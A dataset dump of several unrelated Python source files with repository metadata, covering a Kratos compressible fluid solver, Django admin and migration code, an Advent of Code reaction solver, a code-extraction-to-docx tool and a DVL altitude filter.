"Runge-Kutta method of type '{}' not available. Try any of\n".format(rk_parameter) for key in rk_startegies: err_msg = err_msg + " - {}\n".format(key) raise RuntimeError(err_msg) def _CreateEstimateDtUtility(self): """This method overloads FluidSolver in order to enforce: ``` self.settings["time_stepping"]["consider_compressibility_in_CFL"] == True ``` """ if self.settings["time_stepping"].Has("consider_compressibility_in_CFL"): KratosMultiphysics.Logger.PrintWarning("", "User-specifed consider_compressibility_in_CFL will be overriden with TRUE") else: self.settings["time_stepping"].AddEmptyValue("consider_compressibility_in_CFL") self.settings["time_stepping"]["consider_compressibility_in_CFL"].SetBool(True) estimate_dt_utility = KratosFluid.EstimateDtUtility( self.GetComputingModelPart(), self.settings["time_stepping"]) return estimate_dt_utility
53.304348
159
0.720228
from __future__ import print_function, absolute_import, division import KratosMultiphysics import KratosMultiphysics.FluidDynamicsApplication as KratosFluid .FluidDynamicsApplication.fluid_solver import FluidSolver from KratosMultiphysics import python_linear_solver_factory as linear_solver_factory from KratosMultiphysics.FluidDynamicsApplication import check_and_prepare_model_process_fluid def CreateSolver(model, custom_settings): return NavierStokesCompressibleExplicitSolver(model, custom_settings) class NavierStokesCompressibleExplicitSolver(FluidSolver): def __init__(self, model, custom_settings): self._validate_settings_in_baseclass=True super(NavierStokesCompressibleExplicitSolver,self).__init__(model,custom_settings) self.element_name = "CompressibleNavierStokesExplicit" if custom_settings["domain_size"].GetInt() == 2: self.condition_name = "LineCondition" elif custom_settings["domain_size"].GetInt() == 3: self.condition_name = "SurfaceCondition" else: err_msg = "Wrong domain size " raise Exception(err_msg) self.min_buffer_size = 2 self.element_has_nodal_properties = False KratosMultiphysics.Logger.PrintInfo("::[NavierStokesCompressibleExplicitSolver]:: ","Construction of NavierStokesCompressibleExplicitSolver finished.") @classmethod def GetDefaultParameters(cls): tosMultiphysics.Parameters(""" { "solver_type": "compressible_solver_from_defaults", "model_part_name": "FluidModelPart", "domain_size": -1, "model_import_settings": { "input_type": "mdpa", "input_filename": "", "reorder": false }, "material_import_settings": { "materials_filename": "FluidMaterials.json" }, "echo_level": 1, "time_order": 2, "time_scheme" : "RK4", "move_mesh_flag": false, "shock_capturing": true, "compute_reactions": false, "reform_dofs_at_each_step" : false, "assign_neighbour_elements_to_conditions": true, "volume_model_part_name" : "volume_model_part", "skin_parts": [""], "no_skin_parts":[""], "time_stepping" : { "automatic_time_step" : true, "CFL_number" : 1.0, "minimum_delta_time" : 1.0e-8, "maximum_delta_time" : 1.0e-2 }, "use_oss" : true }""") default_settings.AddMissingParameters(super().GetDefaultParameters()) return default_settings def AddVariables(self): self.main_model_part.AddNodalSolutionStepVariable(KratosMultiphysics.DENSITY) self.main_model_part.AddNodalSolutionStepVariable(KratosMultiphysics.MOMENTUM) self.main_model_part.AddNodalSolutionStepVariable(KratosMultiphysics.TOTAL_ENERGY) self.main_model_part.AddNodalSolutionStepVariable(KratosFluid.REACTION_DENSITY) self.main_model_part.AddNodalSolutionStepVariable(KratosMultiphysics.REACTION) self.main_model_part.AddNodalSolutionStepVariable(KratosFluid.REACTION_ENERGY) self.main_model_part.AddNodalSolutionStepVariable(KratosMultiphysics.BODY_FORCE) self.main_model_part.AddNodalSolutionStepVariable(KratosFluid.MASS_SOURCE) self.main_model_part.AddNodalSolutionStepVariable(KratosFluid.HEAT_SOURCE) self.main_model_part.AddNodalSolutionStepVariable(KratosMultiphysics.NORMAL) self.main_model_part.AddNodalSolutionStepVariable(KratosFluid.MACH) self.main_model_part.AddNodalSolutionStepVariable(KratosMultiphysics.VELOCITY) self.main_model_part.AddNodalSolutionStepVariable(KratosMultiphysics.PRESSURE) self.main_model_part.AddNodalSolutionStepVariable(KratosMultiphysics.TEMPERATURE) KratosMultiphysics.Logger.PrintInfo("::[NavierStokesCompressibleExplicitSolver]:: ","Explicit compressible fluid solver variables added correctly") def AddDofs(self): domain_size = self.main_model_part.ProcessInfo[KratosMultiphysics.DOMAIN_SIZE] KratosMultiphysics.VariableUtils().AddDof(KratosMultiphysics.DENSITY, KratosFluid.REACTION_DENSITY, self.main_model_part) KratosMultiphysics.VariableUtils().AddDof(KratosMultiphysics.MOMENTUM_X, KratosMultiphysics.REACTION_X, self.main_model_part) KratosMultiphysics.VariableUtils().AddDof(KratosMultiphysics.MOMENTUM_Y, KratosMultiphysics.REACTION_Y, self.main_model_part) if domain_size == 3: KratosMultiphysics.VariableUtils().AddDof(KratosMultiphysics.MOMENTUM_Z, KratosMultiphysics.REACTION_Z, self.main_model_part) KratosMultiphysics.VariableUtils().AddDof(KratosMultiphysics.TOTAL_ENERGY, KratosFluid.REACTION_ENERGY, self.main_model_part) def Initialize(self): self.GetComputingModelPart().ProcessInfo[KratosMultiphysics.OSS_SWITCH] = int(self.settings["use_oss"].GetBool()) self.GetComputingModelPart().ProcessInfo[KratosFluid.SHOCK_CAPTURING_SWITCH] = int(self.settings["shock_capturing"].GetBool()) self.solver = self._get_solution_strategy() self.solver.SetEchoLevel(self.settings["echo_level"].GetInt()) self.solver.Initialize() KratosMultiphysics.Logger.PrintInfo("::[NavierStokesCompressibleExplicitSolver]:: ","Explicit compressible fluid solver initialization finished.") def _get_solution_strategy(self): if not hasattr(self, '_solution_strategy'): self._solution_strategy = self._create_solution_strategy() return self._solution_strategy def _create_solution_strategy(self): self.computing_model_part = self.GetComputingModelPart() strategy_settings = KratosMultiphysics.Parameters('''{}''') strategy_settings.AddEmptyValue("rebuild_level").SetInt(0 if self.settings["reform_dofs_at_each_step"].GetBool() else 1) strategy_settings.AddEmptyValue("move_mesh_flag").SetBool(self.settings["move_mesh_flag"].GetBool()) strategy_settings.AddEmptyValue("shock_capturing").SetBool(self.settings["shock_capturing"].GetBool()) rk_parameter = self.settings["time_scheme"].GetString() rk_startegies = { "RK3-TVD": KratosFluid.CompressibleNavierStokesExplicitSolvingStrategyRungeKutta3TVD, "RK4" : KratosFluid.CompressibleNavierStokesExplicitSolvingStrategyRungeKutta4 } if rk_parameter in rk_startegies: return rk_startegies[rk_parameter](self.computing_model_part, strategy_settings) err_msg = "Runge-Kutta method of type '{}' not available. Try any of\n".format(rk_parameter) for key in rk_startegies: err_msg = err_msg + " - {}\n".format(key) raise RuntimeError(err_msg) def _CreateEstimateDtUtility(self): if self.settings["time_stepping"].Has("consider_compressibility_in_CFL"): KratosMultiphysics.Logger.PrintWarning("", "User-specifed consider_compressibility_in_CFL will be overriden with TRUE") else: self.settings["time_stepping"].AddEmptyValue("consider_compressibility_in_CFL") self.settings["time_stepping"]["consider_compressibility_in_CFL"].SetBool(True) estimate_dt_utility = KratosFluid.EstimateDtUtility( self.GetComputingModelPart(), self.settings["time_stepping"]) return estimate_dt_utility
true
true
f71f25cea0ab34d883dca3594f5c11497fd8475d
435
py
Python
accounts/migrations/0025_auto_20170817_1935.py
enrobyn/lookit-api
621fbb8b25100a21fd94721d39003b5d4f651dc5
[ "MIT" ]
null
null
null
accounts/migrations/0025_auto_20170817_1935.py
enrobyn/lookit-api
621fbb8b25100a21fd94721d39003b5d4f651dc5
[ "MIT" ]
null
null
null
accounts/migrations/0025_auto_20170817_1935.py
enrobyn/lookit-api
621fbb8b25100a21fd94721d39003b5d4f651dc5
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- # Generated by Django 1.11.2 on 2017-08-17 19:35 from __future__ import unicode_literals from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('accounts', '0024_auto_20170814_1542'), ] operations = [ migrations.RenameField( model_name='user', old_name='contact_name', new_name='nickname', ), ]
20.714286
48
0.611494
from __future__ import unicode_literals from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('accounts', '0024_auto_20170814_1542'), ] operations = [ migrations.RenameField( model_name='user', old_name='contact_name', new_name='nickname', ), ]
true
true
f71f26b1e606b6bc72ed061535852408aecdbd21
5,655
py
Python
oauth2_backend/admin.py
upeu-001-pro/upeuauth-serve
17b204b6df4c0f09340befd471de56369b4b90c7
[ "MIT" ]
null
null
null
oauth2_backend/admin.py
upeu-001-pro/upeuauth-serve
17b204b6df4c0f09340befd471de56369b4b90c7
[ "MIT" ]
null
null
null
oauth2_backend/admin.py
upeu-001-pro/upeuauth-serve
17b204b6df4c0f09340befd471de56369b4b90c7
[ "MIT" ]
1
2021-01-03T22:25:03.000Z
2021-01-03T22:25:03.000Z
from django.contrib import admin from django.contrib.auth.models import Group from django.contrib.auth.models import Permission from django.contrib.contenttypes.models import ContentType # Register your models here. from .models.person import Person from .models.user import User from .models.hierarchy_type import HierarchyType from .models.hierarchy import Hierarchy from .models.menu import Menu from .models.user_hierarchy_group import UserHierarchyGroup from .models.user_hierarchy_permission import UserHierarchyPermission from .models.person import Religion, Ethnicity, Occupation, EducationLevel from .models.person import PensionScheme from .models.person_address import PersonAddressType, PersonAddress from .models.person_document import DocumentType, PersonDocument from .models.person_phone import PersonPhoneType, PersonPhone admin.site.register(ContentType) class PermissionAdmin(admin.ModelAdmin): list_display = ("codename", "name", "content_type") search_fields = ("codename", "name", "content_type__app_label") admin.site.register(Permission, PermissionAdmin) ''' admin.site.register(Hierarchy) admin.site.register(HierarchyType) admin.site.register(UserHierarchyGroup) admin.site.register(UserHierarchyPermission) admin.site.register(Menu) ''' admin.site.register(Person) admin.site.register(Religion) admin.site.register(Ethnicity) admin.site.register(Occupation) admin.site.register(EducationLevel) admin.site.register(PensionScheme) admin.site.register(PersonAddressType) admin.site.register(PersonAddress) admin.site.register(DocumentType) admin.site.register(PersonDocument) admin.site.register(PersonPhoneType) admin.site.register(PersonPhone) # forms from django.contrib.auth.forms import UserCreationForm, UserChangeForm from django import forms from django.utils.translation import ugettext_lazy as _ from django.contrib.auth.admin import UserAdmin from django.contrib.auth import get_user_model CHOICES = (('ON', 'ON'), ('OFF', 'OFF'), ) class MyUserCreationForm(UserCreationForm): class Meta(UserCreationForm.Meta): model = User # get_user_model() class MyUserChangeForm(UserChangeForm): description = forms.CharField( label=_('Description'), required=False, initial='edit', widget=forms.Textarea) # is_staff = forms.ChoiceField(widget=forms.RadioSelect, choices=CHOICES) class Meta(UserChangeForm.Meta): model = User # get_user_model() class MyUserAdmin(UserAdmin): """ """ fieldsets = ( (None, {'fields': ('username', 'password')}), (_('Personal info'), {'fields': ('email',)}), (_('Permissions'), {'fields': ('is_active', 'description', 'is_staff', 'is_superuser', 'groups', 'user_permissions')}), (_('Important dates'), {'fields': ('last_login', 'date_joined')}), ) form = MyUserChangeForm add_form = MyUserCreationForm list_display = ('username', 'email', 'first_name', 'last_name', 'is_staff', ) # 'status' list_filter = ('is_staff', 'is_superuser', 'is_active', 'groups', 'date_joined') #date_hierarchy = 'date_joined' def status(self, obj): return obj.status status.admin_order_field = 'status' status.short_description = 'status' # raw_id_fields = ('person',) ''' def save_model(self, request, obj, form, change): if obj.pk: if obj.is_active: if UserStatus.objects.filter(user=obj.pk).count() > 0: if UserStatus.objects.filter(user=obj.pk).latest('id').status != ON: UserStatus.objects.create( status=ON, description=form.cleaned_data['description'], user=obj) else: # no tiene registros en UserStatus UserStatus.objects.create( status=ON, description=form.cleaned_data['description'], user=obj) else: if UserStatus.objects.filter(user=obj.pk).count() > 0: if UserStatus.objects.filter(user=obj.pk).latest('id').status != OFF: UserStatus.objects.create( status=OFF, description=form.cleaned_data['description'], user=obj) else: UserStatus.objects.create( status=OFF, description=form.cleaned_data['description'], user=obj) obj.save() ''' def get_queryset(self, request): qs = super(MyUserAdmin, self).get_queryset(request) # qr = qs.with_status() # add 'status' colum # print qr return qs ''' def formfield_for_choice_field(self, db_field, request, **kwargs): if db_field.name == 'status': kwargs['choices'] = ( (ON, 'Accepted'), (OFF, 'Denied'), (True, 'Denied'), (False, 'Denied'), (None, 'Denied'), (0, 'Denied'), (1, 'Denied'), ('0', 'Denied'), ('1', 'Denied'), ('True', 'Denied'), ('False', 'Denied'), ) # db_field['status'].choices = ( # (ON, 'Accepted'), # (OFF, 'Denied'), # ) return super(MyUserAdmin, self).formfield_for_choice_field(db_field, request, **kwargs) ''' admin.site.register(User, MyUserAdmin)
32.877907
89
0.618921
from django.contrib import admin from django.contrib.auth.models import Group from django.contrib.auth.models import Permission from django.contrib.contenttypes.models import ContentType from .models.person import Person from .models.user import User from .models.hierarchy_type import HierarchyType from .models.hierarchy import Hierarchy from .models.menu import Menu from .models.user_hierarchy_group import UserHierarchyGroup from .models.user_hierarchy_permission import UserHierarchyPermission from .models.person import Religion, Ethnicity, Occupation, EducationLevel from .models.person import PensionScheme from .models.person_address import PersonAddressType, PersonAddress from .models.person_document import DocumentType, PersonDocument from .models.person_phone import PersonPhoneType, PersonPhone admin.site.register(ContentType) class PermissionAdmin(admin.ModelAdmin): list_display = ("codename", "name", "content_type") search_fields = ("codename", "name", "content_type__app_label") admin.site.register(Permission, PermissionAdmin) admin.site.register(Person) admin.site.register(Religion) admin.site.register(Ethnicity) admin.site.register(Occupation) admin.site.register(EducationLevel) admin.site.register(PensionScheme) admin.site.register(PersonAddressType) admin.site.register(PersonAddress) admin.site.register(DocumentType) admin.site.register(PersonDocument) admin.site.register(PersonPhoneType) admin.site.register(PersonPhone) from django.contrib.auth.forms import UserCreationForm, UserChangeForm from django import forms from django.utils.translation import ugettext_lazy as _ from django.contrib.auth.admin import UserAdmin from django.contrib.auth import get_user_model CHOICES = (('ON', 'ON'), ('OFF', 'OFF'), ) class MyUserCreationForm(UserCreationForm): class Meta(UserCreationForm.Meta): model = User class MyUserChangeForm(UserChangeForm): description = forms.CharField( label=_('Description'), required=False, initial='edit', widget=forms.Textarea) class Meta(UserChangeForm.Meta): model = User class MyUserAdmin(UserAdmin): fieldsets = ( (None, {'fields': ('username', 'password')}), (_('Personal info'), {'fields': ('email',)}), (_('Permissions'), {'fields': ('is_active', 'description', 'is_staff', 'is_superuser', 'groups', 'user_permissions')}), (_('Important dates'), {'fields': ('last_login', 'date_joined')}), ) form = MyUserChangeForm add_form = MyUserCreationForm list_display = ('username', 'email', 'first_name', 'last_name', 'is_staff', ) list_filter = ('is_staff', 'is_superuser', 'is_active', 'groups', 'date_joined') def status(self, obj): return obj.status status.admin_order_field = 'status' status.short_description = 'status' def get_queryset(self, request): qs = super(MyUserAdmin, self).get_queryset(request) turn qs admin.site.register(User, MyUserAdmin)
true
true
f71f26b91d28f2fac45042a51478207f81d2160f
2,660
py
Python
python/day14.py
karlwnw/adventofcode2019
7a01a0dd9c3f93ae3f9aa123a91641a37289eb7a
[ "MIT" ]
2
2020-01-02T12:59:44.000Z
2020-01-04T19:21:31.000Z
python/day14.py
karlwnw/adventofcode2019
7a01a0dd9c3f93ae3f9aa123a91641a37289eb7a
[ "MIT" ]
null
null
null
python/day14.py
karlwnw/adventofcode2019
7a01a0dd9c3f93ae3f9aa123a91641a37289eb7a
[ "MIT" ]
null
null
null
import re import math from collections import defaultdict def parse(content): return list(map(parse_line, content.strip().split("\n"))) def parse_line(row): matches = re.findall(r"\s?(\d+) ([A-Z]+),? ", row.strip()) inputs = [(int(item[0]), item[1]) for item in matches] output = re.match(r".+ => (\d+) ([A-Z]+)$", row.strip()).groups() return inputs, (int(output[0]), output[1]) def requirements_mapping(reactions): # Verify that there is only one rule per Chemical assert len(reactions) == len(set(row[-1][1] for row in reactions)) return {row[-1][1]: (row[-1][0], row[0]) for row in reactions} def min_usage(reactions, C="FUEL", I="ORE", how_many=1, usage=None, leftovers=None): if usage is None: usage = defaultdict(int) if leftovers is None: leftovers = defaultdict(int) usage[C] += how_many # if C == I: if C not in reactions: # Generalize for any (C, I) pair return usage, leftovers extra = min(how_many, leftovers[C]) how_many -= extra leftovers[C] -= extra quantity, inputs = reactions[C] coef = math.ceil(how_many / quantity) for qty, name in inputs: usage, leftovers = min_usage(reactions, name, I, coef * qty, usage, leftovers) leftovers[C] += coef * quantity - how_many return usage, defaultdict(int, {k: v for k, v in leftovers.items() if v}) def binary_search(func, low, high, expected): while low < high: mid = (low + high) // 2 result = func(mid) if result < expected: low = mid else: high = mid - 1 return low def get_max_fuel(reactions, max_ore=1e12): f = lambda x: min_usage(reactions, how_many=x)[0]["ORE"] return binary_search(f, 0, 1000000, max_ore) if __name__ == "__main__": with open("../inputs/day14.input") as f: reactions = parse(f.read()) mapping = requirements_mapping(reactions) # Part I necessary, waste = min_usage(mapping) print(necessary["ORE"]) # 2486514 # Part II value = get_max_fuel(mapping, 1e12) print(value) # 998536 # Verify that we got the correct value necessary, _ = min_usage(mapping, how_many=value) assert necessary["ORE"] < 1e12 necessary, _ = min_usage(mapping, how_many=value + 1) assert necessary["ORE"] > 1e12 # Actually, this could be solved linearly in constant time with 2 data points x1, y1 = 1, 2486514 x2, y2 = 10000000, min_usage(mapping, how_many=10000000)[0]["ORE"] # y = ax + b slope = (y2 - y1) / (x2 - x1) b = y1 - slope * x1 fuel = round((1e12 - b) / slope) assert fuel == value
27.142857
86
0.616917
import re import math from collections import defaultdict def parse(content): return list(map(parse_line, content.strip().split("\n"))) def parse_line(row): matches = re.findall(r"\s?(\d+) ([A-Z]+),? ", row.strip()) inputs = [(int(item[0]), item[1]) for item in matches] output = re.match(r".+ => (\d+) ([A-Z]+)$", row.strip()).groups() return inputs, (int(output[0]), output[1]) def requirements_mapping(reactions): assert len(reactions) == len(set(row[-1][1] for row in reactions)) return {row[-1][1]: (row[-1][0], row[0]) for row in reactions} def min_usage(reactions, C="FUEL", I="ORE", how_many=1, usage=None, leftovers=None): if usage is None: usage = defaultdict(int) if leftovers is None: leftovers = defaultdict(int) usage[C] += how_many if C not in reactions: return usage, leftovers extra = min(how_many, leftovers[C]) how_many -= extra leftovers[C] -= extra quantity, inputs = reactions[C] coef = math.ceil(how_many / quantity) for qty, name in inputs: usage, leftovers = min_usage(reactions, name, I, coef * qty, usage, leftovers) leftovers[C] += coef * quantity - how_many return usage, defaultdict(int, {k: v for k, v in leftovers.items() if v}) def binary_search(func, low, high, expected): while low < high: mid = (low + high) // 2 result = func(mid) if result < expected: low = mid else: high = mid - 1 return low def get_max_fuel(reactions, max_ore=1e12): f = lambda x: min_usage(reactions, how_many=x)[0]["ORE"] return binary_search(f, 0, 1000000, max_ore) if __name__ == "__main__": with open("../inputs/day14.input") as f: reactions = parse(f.read()) mapping = requirements_mapping(reactions) necessary, waste = min_usage(mapping) print(necessary["ORE"]) value = get_max_fuel(mapping, 1e12) print(value) necessary, _ = min_usage(mapping, how_many=value) assert necessary["ORE"] < 1e12 necessary, _ = min_usage(mapping, how_many=value + 1) assert necessary["ORE"] > 1e12 x1, y1 = 1, 2486514 x2, y2 = 10000000, min_usage(mapping, how_many=10000000)[0]["ORE"] slope = (y2 - y1) / (x2 - x1) b = y1 - slope * x1 fuel = round((1e12 - b) / slope) assert fuel == value
true
true
f71f2764a5a988302536ffa630ea868e4660c75c
3,958
py
Python
ramile/project.py
Jeff-Tian/ramile
367beefea0b764527026dfdeb6ca951c41d89a7b
[ "MIT" ]
1
2019-05-17T08:56:15.000Z
2019-05-17T08:56:15.000Z
ramile/project.py
Jeff-Tian/ramile
367beefea0b764527026dfdeb6ca951c41d89a7b
[ "MIT" ]
null
null
null
ramile/project.py
Jeff-Tian/ramile
367beefea0b764527026dfdeb6ca951c41d89a7b
[ "MIT" ]
1
2020-11-16T03:18:52.000Z
2020-11-16T03:18:52.000Z
from docx import Document from ramile.project_info import ProjectInfo from ramile.project_processor import ProjectProcessor from ramile.processors import FileProcessor import os class Project(object): info = None output = True files = [] lines = [] def __init__(self, project_root, lines_to_extract=3000, output_file='extracted_code.docx', output=True): self.info = ProjectInfo(project_root, lines_to_extract) self.output = output if output: self.output_path = self.info.get_output_file_path(output_file) # self.output_file = open( # self.info.get_output_file_path(output_file), 'w+') self.output_file = Document(os.path.join( os.path.dirname(__file__), 'data/template.docx')) self.paragraph = None return def run(self, output=True, echo=True): if echo: print("I'm going to extract %s lines from %s." % (self.info.lines_to_extract, self.info.project_root)) self.info.lines_extracted = 0 project_processor = ProjectProcessor(self.info) file_processor = FileProcessor() # 1. Process and collect the files self.files = project_processor.process() # 2. Process each file for file in self.files: for output in file_processor.process(file): self.export(output) file.extracted_line() if self.info.has_extracted_enough_lines(): break # collect file summary self.info.lines_skipped_blank += file.blank_lines self.info.lines_skipped_comments += file.comment_lines if self.info.has_extracted_enough_lines(): break # self.output_file.close() self.write_to_file() if echo: self.print_summary() if not self.info.has_extracted_enough_lines(): print("Warning!! Not enough source code to extract %s lines!" % self.info.lines_to_extract) return def print_summary(self): print("The extraction is done. Here's the summary:") print("Files that contributed to the output:") for file in self.files: if file.has_extracted_lines(): print("%s : %s lines" % (file.file_path, file.extracted_lines)) print("Code was extracted in: %s" % self.output_path) print("Total extracted: %s lines" % self.info.lines_extracted) print("Wrote to file: %s lines" % len(self.lines)) print("Total skipped comments: %s lines" % self.info.lines_skipped_comments) print("Total skipped blank lines: %s lines" % self.info.lines_skipped_blank) if self.info.lines_extracted > 3000: print("Total skipped overflow lines: %s lines" % (self.info.lines_extracted - len(self.lines))) def export(self, line): max_length_of_line = 60 appended = 0 while appended < len(line): l = line[appended:appended+max_length_of_line] self.lines.append(l) self.info.lines_extracted += 1 appended += len(l) return def write_to_file(self): if self.output: if self.paragraph is None: self.paragraph = self.output_file.paragraphs[0] if self.info.lines_extracted > 3000: lines_to_cut = self.info.lines_extracted - 3000 del self.lines[1501:1501+lines_to_cut] i = 0 for line in self.lines: i += 1 if i < 3000 and not line.endswith('\n'): line += '\n' if i == 3000 and line.endswith('\n'): line = line[0:len(line)-1] self.paragraph.add_run(line) self.output_file.save(self.output_path) return
36.311927
108
0.588934
from docx import Document from ramile.project_info import ProjectInfo from ramile.project_processor import ProjectProcessor from ramile.processors import FileProcessor import os class Project(object): info = None output = True files = [] lines = [] def __init__(self, project_root, lines_to_extract=3000, output_file='extracted_code.docx', output=True): self.info = ProjectInfo(project_root, lines_to_extract) self.output = output if output: self.output_path = self.info.get_output_file_path(output_file) self.output_file = Document(os.path.join( os.path.dirname(__file__), 'data/template.docx')) self.paragraph = None return def run(self, output=True, echo=True): if echo: print("I'm going to extract %s lines from %s." % (self.info.lines_to_extract, self.info.project_root)) self.info.lines_extracted = 0 project_processor = ProjectProcessor(self.info) file_processor = FileProcessor() # 1. Process and collect the files self.files = project_processor.process() # 2. Process each file for file in self.files: for output in file_processor.process(file): self.export(output) file.extracted_line() if self.info.has_extracted_enough_lines(): break # collect file summary self.info.lines_skipped_blank += file.blank_lines self.info.lines_skipped_comments += file.comment_lines if self.info.has_extracted_enough_lines(): break # self.output_file.close() self.write_to_file() if echo: self.print_summary() if not self.info.has_extracted_enough_lines(): print("Warning!! Not enough source code to extract %s lines!" % self.info.lines_to_extract) return def print_summary(self): print("The extraction is done. Here's the summary:") print("Files that contributed to the output:") for file in self.files: if file.has_extracted_lines(): print("%s : %s lines" % (file.file_path, file.extracted_lines)) print("Code was extracted in: %s" % self.output_path) print("Total extracted: %s lines" % self.info.lines_extracted) print("Wrote to file: %s lines" % len(self.lines)) print("Total skipped comments: %s lines" % self.info.lines_skipped_comments) print("Total skipped blank lines: %s lines" % self.info.lines_skipped_blank) if self.info.lines_extracted > 3000: print("Total skipped overflow lines: %s lines" % (self.info.lines_extracted - len(self.lines))) def export(self, line): max_length_of_line = 60 appended = 0 while appended < len(line): l = line[appended:appended+max_length_of_line] self.lines.append(l) self.info.lines_extracted += 1 appended += len(l) return def write_to_file(self): if self.output: if self.paragraph is None: self.paragraph = self.output_file.paragraphs[0] if self.info.lines_extracted > 3000: lines_to_cut = self.info.lines_extracted - 3000 del self.lines[1501:1501+lines_to_cut] i = 0 for line in self.lines: i += 1 if i < 3000 and not line.endswith('\n'): line += '\n' if i == 3000 and line.endswith('\n'): line = line[0:len(line)-1] self.paragraph.add_run(line) self.output_file.save(self.output_path) return
true
true
f71f27beb598ddbd1a04990c4e08324eafb725e5
3,297
py
Python
Python/filter_dvl.py
markvilar/Cardinal
a3d87d34ed253a7a4400ed056c5d59c20f15973b
[ "Apache-2.0" ]
null
null
null
Python/filter_dvl.py
markvilar/Cardinal
a3d87d34ed253a7a4400ed056c5d59c20f15973b
[ "Apache-2.0" ]
null
null
null
Python/filter_dvl.py
markvilar/Cardinal
a3d87d34ed253a7a4400ed056c5d59c20f15973b
[ "Apache-2.0" ]
null
null
null
import argparse import datetime import numpy as np import pandas as pd import matplotlib matplotlib.use("TkAgg") import matplotlib.pyplot as plt plt.style.use("./Styles/Scientific.mplstyle") from typing import Dict, List import data import filters import utilities import utm def filter_dvl(data_config: data.DataConfiguration, \ filter_config: filters.FilterConfiguration): """ """ # Read data. data = pd.read_csv(data_config.input) # Extract relevant data for filtering. time = data["Epoch"].to_numpy() altitude = data["Altitude"].to_numpy() # Calculate sampling frequency. filter_config.sample_frequency = 1 / np.mean(time[1:] - time[0:-1]) # Add end values. filtered_altitude = filters.add_appendage(altitude, filter_config) # Filter data and account for time delay. filtered_altitude, filter_delay = filters.FIR_filter(filtered_altitude, \ filter_config, axis=1) filtered_time = time - filter_delay print("\nDVL:") print(" - Sampling time: {0:.4f}".format( \ 1 / filter_config.sample_frequency)) print(" - Sampling frequency: {0:.4f}".format( \ filter_config.sample_frequency)) print(" - Filter time delay: {0:.4f}".format(filter_delay)) # Remove end values. filtered_altitude = filters.remove_appendage(filtered_altitude, \ filter_config) filtered_data = pd.DataFrame() filtered_data["Epoch"] = filtered_time filtered_data["Altitude"] = filtered_altitude # Datetime calculations. times = [] for epoch in filtered_data["Epoch"]: time = datetime.datetime.fromtimestamp(epoch).strftime( \ data_config.datetime_format) times.append(time) filtered_data["Datetime"] = np.array(times, dtype=str) # Save data. if data_config.save_output: filtered_data = pd.DataFrame(filtered_data) filtered_data.to_csv(data_config.output + "ROV-DVL.csv", sep=',') def main(): # Parse arguments. parser = argparse.ArgumentParser( \ description="Filter DVL data with a FIR lowpass filter.") parser.add_argument("input", type=str, help="Input file path.") parser.add_argument("output", type=str, help="Output directory path.") parser.add_argument("order", type=int, help="Filter order.") parser.add_argument("cutoff", type=float, help="Filter cutoff.") parser.add_argument("appendage", type=int, help="Filter appendage.") parser.add_argument('--show_figures', type=bool, default=False, \ help= "Show figures.", action=argparse.BooleanOptionalAction) parser.add_argument('--save_figures', type=bool, default=False, \ help= "Save figures.", action=argparse.BooleanOptionalAction) parser.add_argument('--save_output', type=bool, default=False, \ help= "Save output.", action=argparse.BooleanOptionalAction) args = parser.parse_args() # Data configuration. data_config = data.DataConfiguration(args.input, args.output, \ args.show_figures, args.save_figures, args.save_output) # Filter configuration. filter_config = filters.FilterConfiguration(args.order, args.cutoff, \ args.appendage) # Filter data. filter_dvl(data_config, filter_config) if __name__ == '__main__': main()
33.30303
77
0.693358
import argparse import datetime import numpy as np import pandas as pd import matplotlib matplotlib.use("TkAgg") import matplotlib.pyplot as plt plt.style.use("./Styles/Scientific.mplstyle") from typing import Dict, List import data import filters import utilities import utm def filter_dvl(data_config: data.DataConfiguration, \ filter_config: filters.FilterConfiguration): data = pd.read_csv(data_config.input) time = data["Epoch"].to_numpy() altitude = data["Altitude"].to_numpy() filter_config.sample_frequency = 1 / np.mean(time[1:] - time[0:-1]) filtered_altitude = filters.add_appendage(altitude, filter_config) filtered_altitude, filter_delay = filters.FIR_filter(filtered_altitude, \ filter_config, axis=1) filtered_time = time - filter_delay print("\nDVL:") print(" - Sampling time: {0:.4f}".format( \ 1 / filter_config.sample_frequency)) print(" - Sampling frequency: {0:.4f}".format( \ filter_config.sample_frequency)) print(" - Filter time delay: {0:.4f}".format(filter_delay)) filtered_altitude = filters.remove_appendage(filtered_altitude, \ filter_config) filtered_data = pd.DataFrame() filtered_data["Epoch"] = filtered_time filtered_data["Altitude"] = filtered_altitude times = [] for epoch in filtered_data["Epoch"]: time = datetime.datetime.fromtimestamp(epoch).strftime( \ data_config.datetime_format) times.append(time) filtered_data["Datetime"] = np.array(times, dtype=str) if data_config.save_output: filtered_data = pd.DataFrame(filtered_data) filtered_data.to_csv(data_config.output + "ROV-DVL.csv", sep=',') def main(): parser = argparse.ArgumentParser( \ description="Filter DVL data with a FIR lowpass filter.") parser.add_argument("input", type=str, help="Input file path.") parser.add_argument("output", type=str, help="Output directory path.") parser.add_argument("order", type=int, help="Filter order.") parser.add_argument("cutoff", type=float, help="Filter cutoff.") parser.add_argument("appendage", type=int, help="Filter appendage.") parser.add_argument('--show_figures', type=bool, default=False, \ help= "Show figures.", action=argparse.BooleanOptionalAction) parser.add_argument('--save_figures', type=bool, default=False, \ help= "Save figures.", action=argparse.BooleanOptionalAction) parser.add_argument('--save_output', type=bool, default=False, \ help= "Save output.", action=argparse.BooleanOptionalAction) args = parser.parse_args() data_config = data.DataConfiguration(args.input, args.output, \ args.show_figures, args.save_figures, args.save_output) filter_config = filters.FilterConfiguration(args.order, args.cutoff, \ args.appendage) filter_dvl(data_config, filter_config) if __name__ == '__main__': main()
true
true
f71f280244849be69121280ca690b37322b4626d
3,220
py
Python
setup.py
philastrophist/replicable
1a5eead7e5a1e149d7818bedf4a985d837436157
[ "MIT" ]
null
null
null
setup.py
philastrophist/replicable
1a5eead7e5a1e149d7818bedf4a985d837436157
[ "MIT" ]
null
null
null
setup.py
philastrophist/replicable
1a5eead7e5a1e149d7818bedf4a985d837436157
[ "MIT" ]
null
null
null
